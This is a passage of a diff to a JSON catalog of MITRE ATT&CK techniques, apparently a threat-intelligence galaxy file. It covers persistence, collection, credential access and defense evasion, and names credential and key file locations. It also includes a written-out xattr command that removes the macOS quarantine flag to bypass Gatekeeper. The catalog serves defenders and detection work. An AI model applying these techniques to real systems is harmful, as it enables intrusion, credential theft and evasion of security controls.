\nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories[[Citation: OSX Malware Detection]]. The daemon name may be disguised by using a name from a related operating system or benign software [[Citation: WireLurker]]. Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.", "meta": { + "external_id": "T1119", + "kill_chain": [ + "mitre-attack:collection" + ], "mitre_data_sources": [ - "Process Monitoring", + "File monitoring", + "Data loss prevention", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1119" + ] + }, + "uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "value": "Automated Collection - T1119" + }, + { + "description": "Microsoft’s Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)", + "meta": { + "external_id": "T1221", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Anti-virus", + "Email gateway", + "Network intrusion detection system", + "Web logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1221", + "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)", + "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", + "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/", + "https://blog.talosintelligence.com/2017/07/template-injection.html", + "https://github.com/ryhanson/phishery", + "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html" + ] + }, + "uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "value": "Template Injection - T1221" + }, + { + "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", + "meta": { + "external_id": "T1123", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", "File monitoring" ], "mitre_platforms": [ - "MacOS", - "OS X" + "Linux", + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1160", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf" - ], - "uuid": "eddadd9a-8322-490e-8666-58662beb3d18" + "https://attack.mitre.org/techniques/T1123" + ] }, - "value": "Launch Daemon" + "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "value": "Audio Capture - T1123" }, { - "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis", + "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", "meta": { + "external_id": "T1132", + "kill_chain": [ + "mitre-attack:command-and-control" + ], "mitre_data_sources": [ "Packet capture", "Process use of network", @@ -3744,887 +8852,1016 @@ "Network protocol analysis" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1001", + "https://attack.mitre.org/techniques/T1132", + "https://en.wikipedia.org/wiki/Binary-to-text_encoding", + "https://en.wikipedia.org/wiki/Character_encoding", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842" + ] }, - "value": "Data Obfuscation" + "uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "value": "Data Encoding - T1132" }, { - "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the ps command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", + "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", "meta": { + "external_id": "T1125", + "kill_chain": [ + "mitre-attack:collection" + ], "mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1125", + "https://objective-see.com/blog/blog_0x25.html" + ] + }, + "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "value": "Video Capture - T1125" + }, + { + "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).", + "meta": { + "external_id": "T1162", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1162", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + ] + }, + "uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "value": "Login Item - T1162" + }, + { + "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", + "meta": { + "external_id": "T1172", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1172", + "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" + ] + }, + "uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "value": "Domain Fronting - T1172" + }, + { + "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Endgame Process Injection July 2017)\n\n* CreateProcess\n* CreateProcessAsUser\n* CreateProcessWithLoginW\n* CreateProcessWithTokenW\n* WinExec\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", + "meta": { + "external_id": "T1182", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1182", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://forum.sysinternals.com/appcertdlls_topic12546.html", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", + "value": "AppCert DLLs - T1182" + }, + { + "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).", + "meta": { + "external_id": "CAPEC-163", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Packet capture", + "Web proxy", + "Email gateway", + "Detonation chamber", + "SSL/TLS inspection", + "DNS records", + "Mail server" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1192", + "https://capec.mitre.org/data/definitions/163.html" + ] + }, + "uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "value": "Spearphishing Link - T1192" + }, + { + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)", + "meta": { + "external_id": "T1331", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1331" + ] + }, + "related": [ + { + "dest-uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39", + "value": "Obfuscate infrastructure - T1331" + }, + { + "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window (Citation: Antiquated Mac Malware).", + "meta": { + "external_id": "T1143", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1143", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + ] + }, + "uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "value": "Hidden Window - T1143" + }, + { + "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.", + "meta": { + "external_id": "T1136", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1136", + "https://docs.microsoft.com/windows/device-security/auditing/event-4720" + ] + }, + "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "value": "Create Account - T1136" + }, + { + "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", + "meta": { + "external_id": "T1138", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "System calls", + "Windows Registry", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1057" - ], - "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + "https://attack.mitre.org/techniques/T1138", + "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] }, - "value": "Process Discovery" + "uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "value": "Application Shimming - T1138" }, { - "description": "Collected data is staged in a central location or directory prior to Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)", "meta": { + "external_id": "T1381", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1381" + ] + }, + "uuid": "4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4", + "value": "Authentication attempt - T1381" + }, + { + "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", + "meta": { + "external_id": "CAPEC-163", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Network intrusion detection system", + "Detonation chamber", + "Email gateway", + "Mail server" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1193", + "https://capec.mitre.org/data/definitions/163.html" + ] + }, + "uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "value": "Spearphishing Attachment - T1193" + }, + { + "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", + "meta": { + "external_id": "T1139", + "kill_chain": [ + "mitre-attack:credential-access" + ], "mitre_data_sources": [ "File monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1074" - ], - "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e" + "https://attack.mitre.org/techniques/T1139", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ] }, - "value": "Data Staged" + "uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8", + "value": "Bash History - T1139" }, { - "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels.Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring", + "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)", "meta": { - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" + "external_id": "T1144", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1144", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", + "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", + "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" + ] + }, + "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "value": "Gatekeeper Bypass - T1144" + }, + { + "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", + "meta": { + "external_id": "T1145", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1079", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf", - "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" - ], - "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e" + "https://attack.mitre.org/techniques/T1145", + "https://en.wikipedia.org/wiki/Public-key_cryptography", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf", + "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + ] }, - "value": "Multilayer Encryption" + "uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", + "value": "Private Keys - T1145" }, { - "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters", + "description": "An adversary with physical access to a mobile device may seek to bypass the device's lockscreen.\n\n### Biometric Spoofing\nIf biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism. For example, SRLabs (Citation: SRLabs-Fingerprint) describes providing a fake fingerprint, and SecureIDNews describes similar work by Michigan State University (Citation: SecureIDNews-Spoof). The Sun describes a case where someone else's face was able to unlock an iPhone X with Face ID (Citation: TheSun-FaceID).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.\n\n### Device Unlock Code Guessing or Brute Force\nAn adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (\"shoulder surfing\") the device owner's use of the lockscreen passcode. \n\n### Exploit Other Device Lockscreen Vulnerabilities\nTechniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.", "meta": { - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" + "external_id": "T1461", + "kill_chain": [ + "mitre-mobile-attack:initial-access" ], "mitre_platforms": [ - "Windows Server 